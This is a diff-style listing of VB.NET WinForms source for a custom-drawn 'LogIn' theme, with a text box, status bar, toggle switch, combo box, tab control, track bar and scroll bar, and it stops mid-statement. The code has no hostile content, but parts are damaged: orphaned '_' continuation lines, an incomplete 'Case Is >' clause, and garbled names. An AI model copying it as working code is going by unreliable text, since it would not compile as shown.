As String + Get + Return TB.Text + End Get + Set(value As String) + TB.Text = value + Invalidate() + End Set + End Property + + Protected Overrides Sub OnBackColorChanged(ByVal e As System.EventArgs) + MyBase.OnBackColorChanged(e) + TB.BackColor = BackColor + Invalidate() + End Sub + + Protected Overrides Sub OnForeColorChanged(ByVal e As System.EventArgs) + MyBase.OnForeColorChanged(e) + TB.ForeColor = ForeColor + Invalidate() + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs) + MyBase.OnSizeChanged(e) + TB.Size = New Size(Width - 10, Height - 11) + End Sub + + Protected Overrides Sub OnFontChanged(ByVal e As System.EventArgs) + MyBase.OnFontChanged(e) + TB.Font = Font + End Sub + + Sub TextChanges() Handles MyBase.TextChanged + TB.Text = Text + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + With TB + .Multiline = True + .BackColor = _BaseColour + .ForeColor = _TextColour + .Text = String.Empty + .BorderStyle = BorderStyle.None + .Location = New Point(5, 5) + .Font = New Font("Segeo UI", 9) + .Size = New Size(Width - 10, Height - 10) + End With + Controls.Add(TB) + Size = New Size(135, 35) + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width - 1, Height - 1) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + .DrawRectangle(New Pen(_BorderColour, 2), ClientRectangle) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInStatusBar + Inherits Control + +#Region "Variables" + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.White + Private _RectColour As Color = Color.FromArgb(21, 117, 149) + Private _ShowLine As Boolean = True + Private _LinesToShow As LinesCount = LinesCount.One + Private _Alignment As Alignments = Alignments.Left + Private _ShowBorder As Boolean = True +#End Region + +#Region "Properties" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + Enum LinesCount As Integer + One = 1 + Two = 2 + End Enum + + Enum Alignments + Left + Center + Right + End Enum + + + Public Property Alignment As Alignments + Get + Return _Alignment + End Get + Set(value As Alignments) + _Alignment = value + End Set + End Property + + + Public Property LinesToShow As LinesCount + Get + Return _LinesToShow + End Get + Set(value As LinesCount) + _LinesToShow = value + End Set + End Property + + Public Property ShowBorder As Boolean + Get + Return _ShowBorder + End Get + Set(value As Boolean) + _ShowBorder = value + End Set + End Property + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Dock = DockStyle.Bottom + End Sub + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + _ + Public Property RectangleColor As Color + Get + Return _RectColour + End Get + Set(value As Color) + _RectColour = value + End Set + End Property + + Public Property ShowLine As Boolean + Get + Return _ShowLine + End Get + Set(value As Boolean) + _ShowLine = value + End Set + End Property + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 9) + ForeColor = Color.White + Size = New Size(Width, 20) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + Dim Base As New Rectangle(0, 0, Width, Height) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(BaseColour) + .FillRectangle(New SolidBrush(BaseColour), Base) + If _ShowLine = True Then + Select Case _LinesToShow + Case LinesCount.One + If _Alignment = Alignments.Left Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(22, 2, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + ElseIf _Alignment = Alignments.Center Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width, Height), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Else + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width - 5, Height), New StringFormat With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + .FillRectangle(New SolidBrush(_RectColour), New Rectangle(5, 9, 14, 3)) + Case LinesCount.Two + If _Alignment = Alignments.Left Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(22, 2, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + ElseIf _Alignment = Alignments.Center Then + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width, Height), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + Else + .DrawString(Text, Font, New SolidBrush(_TextColour), New Rectangle(0, 0, Width - 22, Height), New StringFormat With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + .FillRectangle(New SolidBrush(_RectColour), New Rectangle(5, 9, 14, 3)) + .FillRectangle(New SolidBrush(_RectColour), New Rectangle(Width - 20, 9, 14, 3)) + End Select + Else + .DrawString(Text, Font, Brushes.White, New Rectangle(5, 2, Width, Height), New StringFormat With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near}) + End If + If _ShowBorder Then + .DrawLine(New Pen(_BorderColour, 2), New Point(0, 0), New Point(Width, 0)) + Else + End If + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInOnOffSwitch + Inherits Control + +#Region "Declarations" + + Private _Toggled As Toggles = Toggles.NotToggled + Private MouseXLoc As Integer + Private ToggleLocation As Integer = 0 + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _NonToggledTextColour As Color = Color.FromArgb(155, 155, 155) + Private _ToggledColour As Color = Color.FromArgb(23, 119, 151) + +#End Region + +#Region "Properties & Events" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property NonToggledTextColourderColour As Color + Get + Return _NonToggledTextColour + End Get + Set(value As Color) + _NonToggledTextColour = value + End Set + End Property + + + Public Property ToggledColour As Color + Get + Return _ToggledColour + End Get + Set(value As Color) + _ToggledColour = value + End Set + End Property + + Enum Toggles + Toggled + NotToggled + End Enum + + Event ToggledChanged() + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + MouseXLoc = e.Location.X + Invalidate() + If e.X < Width - 40 AndAlso e.X > 40 Then Cursor = Cursors.IBeam Else Cursor = Cursors.Arrow + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If MouseXLoc > Width - 39 Then + _Toggled = Toggles.Toggled + ToggledValue() + ElseIf MouseXLoc < 39 Then + _Toggled = Toggles.NotToggled + ToggledValue() + End If + Invalidate() + End Sub + + Public Property Toggled() As Toggles + Get + Return _Toggled + End Get + Set(ByVal value As Toggles) + _Toggled = value + Invalidate() + End Set + End Property + + Private Sub ToggledValue() + If _Toggled Then + If ToggleLocation < 100 Then + ToggleLocation += 10 + End If + Else + If ToggleLocation > 0 Then + ToggleLocation -= 10 + End If + End If + Invalidate() + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.DoubleBuffer, True) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + Dim G As Graphics = e.Graphics + G.Clear(Parent.FindForm.BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + G.FillRectangle(New SolidBrush(_BaseColour), New Rectangle(0, 0, 39, Height)) + G.FillRectangle(New SolidBrush(_BaseColour), New Rectangle(Width - 40, 0, Width, Height)) + G.FillRectangle(New SolidBrush(_BaseColour), New Rectangle(38, 9, Width - 40, 5)) + Dim P As Point() = {New Point(0, 0), New Point(39, 0), New Point(39, 9), New Point(Width - 40, 9), New Point(Width - 40, 0), _ + New Point(Width - 2, 0), New Point(Width - 2, Height - 1), New Point(Width - 40, Height - 1), _ + New Point(Width - 40, 14), New Point(39, 14), New Point(39, Height - 1), New Point(0, Height - 1), New Point()} + G.DrawLines(New Pen(_BorderColour, 2), P) + If _Toggled = Toggles.Toggled Then + G.FillRectangle(New SolidBrush(_ToggledColour), New Rectangle(Width / 2, 10, Width / 2 - 38, 3)) + G.FillRectangle(New SolidBrush(_ToggledColour), New Rectangle(Width - 39, 2, 36, Height - 5)) + Else + End If + If _Toggled = Toggles.Toggled Then + G.DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_TextColour), New Rectangle(2, -1, Width - 20 + 20 / 3, Height), New StringFormat() With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + G.DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_NonToggledTextColour), New Rectangle(20 - 20 / 3 - 6, -1, Width - 20 + 20 / 3, Height), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + ElseIf _Toggled = Toggles.NotToggled Then + G.DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_TextColour), New Rectangle(20 - 20 / 3 - 6, -1, Width - 20 + 20 / 3, Height), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center}) + G.DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), New SolidBrush(_NonToggledTextColour), New Rectangle(2, -1, Width - 20 + 20 / 3, Height), New StringFormat() With {.Alignment = StringAlignment.Far, .LineAlignment = StringAlignment.Center}) + End If + G.DrawLine(New Pen(_BorderColour, 2), New Point(Width / 2, 0), New Point(Width / 2, Height)) + End Sub + +#End Region + +End Class + +Public Class LogInComboBox + Inherits ComboBox + +#Region "Declarations" + Private _StartIndex As Integer = 0 + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BaseColour As Color = Color.FromArgb(42, 42, 42) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _LineColour As Color = Color.FromArgb(23, 119, 151) + Private _SqaureColour As Color = Color.FromArgb(47, 47, 47) + Private _ArrowColour As Color = Color.FromArgb(30, 30, 30) + Private _SqaureHoverColour As Color = Color.FromArgb(52, 52, 52) + Private State As MouseState = MouseState.None +#End Region + +#Region "Properties & Events" + + + Public Property LineColour As Color + Get + Return _LineColour + End Get + Set(value As Color) + _LineColour = value + End Set + End Property + + + Public Property SqaureColour As Color + Get + Return _SqaureColour + End Get + Set(value As Color) + _SqaureColour = value + End Set + End Property + + + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + + Public Property SqaureHoverColour As Color + Get + Return _SqaureHoverColour + End Get + Set(value As Color) + _SqaureHoverColour = value + End Set + End Property + + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property FontColour As Color + Get + Return _FontColour + End Get + Set(value As Color) + _FontColour = value + End Set + End Property + + Public Property StartIndex As Integer + Get + Return _StartIndex + End Get + Set(ByVal value As Integer) + _StartIndex = value + Try + MyBase.SelectedIndex = value + Catch + End Try + Invalidate() + End Set + End Property + + Protected Overrides Sub OnTextChanged(e As System.EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Invalidate() + OnMouseClick(e) + End Sub + + Protected Overrides Sub OnMouseUp(e As System.Windows.Forms.MouseEventArgs) + Invalidate() + MyBase.OnMouseUp(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub ReplaceItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles Me.DrawItem + e.DrawBackground() + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + Dim Rect As New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width + 1, e.Bounds.Height + 1) + Try + With e.Graphics + If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then + .FillRectangle(New SolidBrush(_SqaureColour), Rect) + .DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), Font, New SolidBrush(_FontColour), 1, e.Bounds.Top + 2) + Else + .FillRectangle(New SolidBrush(_BaseColour), Rect) + .DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), Font, New SolidBrush(_FontColour), 1, e.Bounds.Top + 2) + End If + End With + Catch + End Try + e.DrawFocusRectangle() + Invalidate() + + End Sub + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + DropDownStyle = ComboBoxStyle.DropDownList + Width = 163 + Font = New Font("Segoe UI", 10) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(BackColor) + Try + Dim Square As New Rectangle(Width - 25, 0, Width, Height) + .FillRectangle(New SolidBrush(_BaseColour), New Rectangle(0, 0, Width - 25, Height)) + Select Case State + Case MouseState.None + .FillRectangle(New SolidBrush(_SqaureColour), Square) + Case MouseState.Over + .FillRectangle(New SolidBrush(_SqaureHoverColour), Square) + End Select + .DrawLine(New Pen(_LineColour, 2), New Point(Width - 26, 1), New Point(Width - 26, Height - 1)) + Try + .DrawString(Text, Font, New SolidBrush(_FontColour), New Rectangle(3, 0, Width - 20, Height), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) + Catch : End Try + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + Dim P() As Point = {New Point(Width - 17, 11), New Point(Width - 13, 5), New Point(Width - 9, 11)} + .FillPolygon(New SolidBrush(_BorderColour), P) + .DrawPolygon(New Pen(_ArrowColour), P) + Dim P1() As Point = {New Point(Width - 17, 15), New Point(Width - 13, 21), New Point(Width - 9, 15)} + .FillPolygon(New SolidBrush(_BorderColour), P1) + .DrawPolygon(New Pen(_ArrowColour), P1) + Catch + End Try + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInTabControl + Inherits TabControl + +#Region "Declarations" + + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BackTabColour As Color = Color.FromArgb(54, 54, 54) + Private _BaseColour As Color = Color.FromArgb(35, 35, 35) + Private _ActiveColour As Color = Color.FromArgb(47, 47, 47) + Private _BorderColour As Color = Color.FromArgb(30, 30, 30) + Private _UpLineColour As Color = Color.FromArgb(0, 160, 199) + Private _HorizLineColour As Color = Color.FromArgb(23, 119, 151) + Private CenterSF As New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center} + +#End Region + +#Region "Properties" + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + _ + Public Property UpLineColour As Color + Get + Return _UpLineColour + End Get + Set(value As Color) + _UpLineColour = value + End Set + End Property + + _ + Public Property HorizontalLineColour As Color + Get + Return _HorizLineColour + End Get + Set(value As Color) + _HorizLineColour = value + End Set + End Property + + _ + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + _ + Public Property BackTabColour As Color + Get + Return _BackTabColour + End Get + Set(value As Color) + _BackTabColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property ActiveColour As Color + Get + Return _ActiveColour + End Get + Set(value As Color) + _ActiveColour = value + End Set + End Property + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Alignment = TabAlignment.Top + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 10) + SizeMode = TabSizeMode.Normal + ItemSize = New Size(240, 32) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .Clear(_BaseColour) + Try : SelectedTab.BackColor = _BackTabColour : Catch : End Try + Try : SelectedTab.BorderStyle = BorderStyle.FixedSingle : Catch : End Try + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(0, 0, Width, Height)) + For i = 0 To TabCount - 1 + Dim Base As New Rectangle(New Point(GetTabRect(i).Location.X, GetTabRect(i).Location.Y), New Size(GetTabRect(i).Width, GetTabRect(i).Height)) + Dim BaseSize As New Rectangle(Base.Location, New Size(Base.Width, Base.Height)) + If i = SelectedIndex Then + .FillRectangle(New SolidBrush(_BaseColour), BaseSize) + .FillRectangle(New SolidBrush(_ActiveColour), New Rectangle(Base.X + 1, Base.Y - 3, Base.Width, Base.Height + 5)) + .DrawString(TabPages(i).Text, Font, New SolidBrush(_TextColour), New Rectangle(Base.X + 7, Base.Y, Base.Width - 3, Base.Height), CenterSF) + .DrawLine(New Pen(_HorizLineColour, 2), New Point(Base.X + 3, Base.Height / 2 + 2), New Point(Base.X + 9, Base.Height / 2 + 2)) + .DrawLine(New Pen(_UpLineColour, 2), New Point(Base.X + 3, Base.Y - 3), New Point(Base.X + 3, Base.Height + 5)) + Else + .DrawString(TabPages(i).Text, Font, New SolidBrush(_TextColour), BaseSize, CenterSF) + End If + Next + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + +Public Class LogInTrackBar + Inherits Control + +#Region "Declaration" + Private _Maximum As Integer = 10 + Private _Value As Integer = 0 + Private CaptureMovement As Boolean = False + Private Bar As Rectangle = New Rectangle(0, 10, Width - 21, Height - 21) + Private Track As Size = New Size(25, 14) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _BarBaseColour As Color = Color.FromArgb(47, 47, 47) + Private _StripColour As Color = Color.FromArgb(42, 42, 42) + Private _StripAmountColour As Color = Color.FromArgb(23, 119, 151) + Private _BaseColour As Color = Color.FromArgb(54, 54, 54) +#End Region + +#Region "Properties" + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + _ + Public Property BarBaseColour As Color + Get + Return _BarBaseColour + End Get + Set(value As Color) + _BarBaseColour = value + End Set + End Property + + _ + Public Property StripColour As Color + Get + Return _StripColour + End Get + Set(value As Color) + _StripColour = value + End Set + End Property + + _ + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + _ + Public Property StripAmountColour As Color + Get + Return _StripAmountColour + End Get + Set(value As Color) + _StripAmountColour = value + End Set + End Property + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value > 0 Then _Maximum = value + If value < _Value Then _Value = value + Invalidate() + End Set + End Property + + Event ValueChanged() + + Public Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + Select Case value + Case Is = _Value + Exit Property + Case Is < 0 + _Value = 0 + Case Is > _Maximum + _Value = _Maximum + Case Else + _Value = value + End Select + Invalidate() + RaiseEvent ValueChanged() + End Set + End Property + + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + BackColor = Color.Transparent + MyBase.OnHandleCreated(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + Dim MovementPoint As New Rectangle(New Point(e.Location.X, e.Location.Y), New Size(1, 1)) + Dim Bar As New Rectangle(10, 10, Width - 21, Height - 21) + If New Rectangle(New Point(Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2 - 1), 0), New Size(Track.Width, Height)).IntersectsWith(MovementPoint) Then + CaptureMovement = True + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) + CaptureMovement = False + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + If CaptureMovement Then + Dim MovementPoint As New Point(e.X, e.Y) + Dim Bar As New Rectangle(10, 10, Width - 21, Height - 21) + Value = CInt(Maximum * ((MovementPoint.X - Bar.X) / Bar.Width)) + End If + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + MyBase.OnMouseLeave(e) : CaptureMovement = False + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or _ + ControlStyles.UserPaint Or ControlStyles.Selectable Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G = Graphics.FromImage(B) + With G + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + Bar = New Rectangle(13, 11, Width - 27, Height - 21) + .Clear(_BaseColour) + .SmoothingMode = SmoothingMode.AntiAlias + .TextRenderingHint = TextRenderingHint.AntiAliasGridFit + .FillRectangle(New SolidBrush(_StripColour), New Rectangle(3, CInt((Height / 2) - 4), Width - 5, 8)) + .DrawRectangle(New Pen(_BorderColour, 2), New Rectangle(4, CInt((Height / 2) - 4), Width - 5, 8)) + .FillRectangle(New SolidBrush(_StripAmountColour), New Rectangle(4, CInt((Height / 2) - 4), CInt(Bar.Width * (Value / Maximum)) + CInt(Track.Width / 2), 8)) + .FillRectangle(New SolidBrush(_BarBaseColour), Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2), Bar.Y + CInt((Bar.Height / 2)) - CInt(Track.Height / 2), Track.Width, Track.Height) + .DrawRectangle(New Pen(_BorderColour, 2), Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2), Bar.Y + CInt((Bar.Height / 2)) - CInt(Track.Height / 2), Track.Width, Track.Height) + .DrawString(_Value, New Font("Segoe UI", 6.5, FontStyle.Regular), New SolidBrush(_TextColour), New Rectangle(Bar.X + CInt(Bar.Width * (Value / Maximum)) - CInt(Track.Width / 2), Bar.Y + CInt((Bar.Height / 2)) - CInt(Track.Height / 2), Track.Width - 1, Track.Height), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + End With + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +#End Region + +End Class + + +Public Class LogInVerticalScrollBar + Inherits Control + +#Region "Declarations" + + Private ThumbMovement As Integer + Private TSA As Rectangle + Private BSA As Rectangle + Private Shaft As Rectangle + Private Thumb As Rectangle + Private ShowThumb As Boolean + Private ThumbPressed As Boolean + Private _ThumbSize As Integer = 24 + Private _Minimum As Integer = 0 + Private _Maximum As Integer = 100 + Private _Value As Integer = 0 + Private _SmallChange As Integer = 1 + Private _ButtonSize As Integer = 16 + Private _LargeChange As Integer = 10 + Private _ThumbBorder As Color = Color.FromArgb(35, 35, 35) + Private _LineColour As Color = Color.FromArgb(23, 119, 151) + Private _ArrowColour As Color = Color.FromArgb(37, 37, 37) + Private _BaseColour As Color = Color.FromArgb(47, 47, 47) + Private _ThumbColour As Color = Color.FromArgb(55, 55, 55) + Private _ThumbSecondBorder As Color = Color.FromArgb(65, 65, 65) + Private _FirstBorder As Color = Color.FromArgb(55, 55, 55) + Private _SecondBorder As Color = Color.FromArgb(35, 35, 35) + +#End Region + +#Region "Properties & Events" + + _ + Public Property ThumbBorder As Color + Get + Return _ThumbBorder + End Get + Set(value As Color) + _ThumbBorder = value + End Set + End Property + + _ + Public Property LineColour As Color + Get + Return _LineColour + End Get + Set(value As Color) + _LineColour = value + End Set + End Property + + _ + Public Property ArrowColour As Color + Get + Return _ArrowColour + End Get + Set(value As Color) + _ArrowColour = value + End Set + End Property + + _ + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + _ + Public Property ThumbColour As Color + Get + Return _ThumbColour + End Get + Set(value As Color) + _ThumbColour = value + End Set + End Property + + _ + Public Property ThumbSecondBorder As Color + Get + Return _ThumbSecondBorder + End Get + Set(value As Color) + _ThumbSecondBorder = value + End Set + End Property + + _ + Public Property FirstBorder As Color + Get + Return _FirstBorder + End Get + Set(value As Color) + _FirstBorder = value + End Set + End Property + + _ + Public Property SecondBorder As Color + Get + Return _SecondBorder + End Get + Set(value As Color) + _SecondBorder = value + End Set + End Property + + Event Scroll(ByVal sender As Object) + + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + InvalidateLayout() + End Set + End Property + + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + End Set + End Property + + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + Select Case value + Case Is = _Value + Exit Property + Case Is < _Minimum + _Value = _Minimum + Case Is > _Maximum + _Value = _Maximum + Case Else + _Value = value + End Select + InvalidatePosition() + RaiseEvent Scroll(Me) + End Set + End Property + + Public Property SmallChange() As Integer + Get + Return _SmallChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Is > + _SmallChange = value + End Select + End Set + End Property + + Public Property LargeChange() As Integer + Get + Return _LargeChange + End Get + Set(ByVal value As Integer) + Select Case value + Case Is < 1 + Case Else + _LargeChange = value + End Select + End Set + End Property + + Public Property ButtonSize As Integer + Get + Return _ButtonSize + End Get + Set(value As Integer) + Select Case value + Case Is < 16 + _ButtonSize = 16 + Case Else + _ButtonSize = value + End Select + End Set + End Property + + Protected Overrides Sub OnSizeChanged(e As EventArgs) + InvalidateLayout() + End Sub + + Private Sub InvalidateLayout() + TSA = New Rectangle(0, 1, Width, 0) + Shaft = New Rectangle(0, TSA.Bottom - 1, Width, Height - 3) + ShowThumb = ((_Maximum - _Minimum)) + If ShowThumb Then + Thumb = New Rectangle(1, 0, Width - 3, _ThumbSize) + End If + RaiseEvent Scroll(Me) + InvalidatePosition() + End Sub + + Private Sub InvalidatePosition() + Thumb.Y = CInt(((_Value - _Minimum) / (_Maximum - _Minimum)) * (Shaft.Height - _ThumbSize) + 1) + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left AndAlso ShowThumb Then + If TSA.Contains(e.Location) Then + ThumbMovement = _Value - _SmallChange + ElseIf BSA.Contains(e.Location) Then + ThumbMovement = _Value + _SmallChange + Else + If Thumb.Contains(e.Location) Then + ThumbPressed = True + Return + Else + If e.Y < 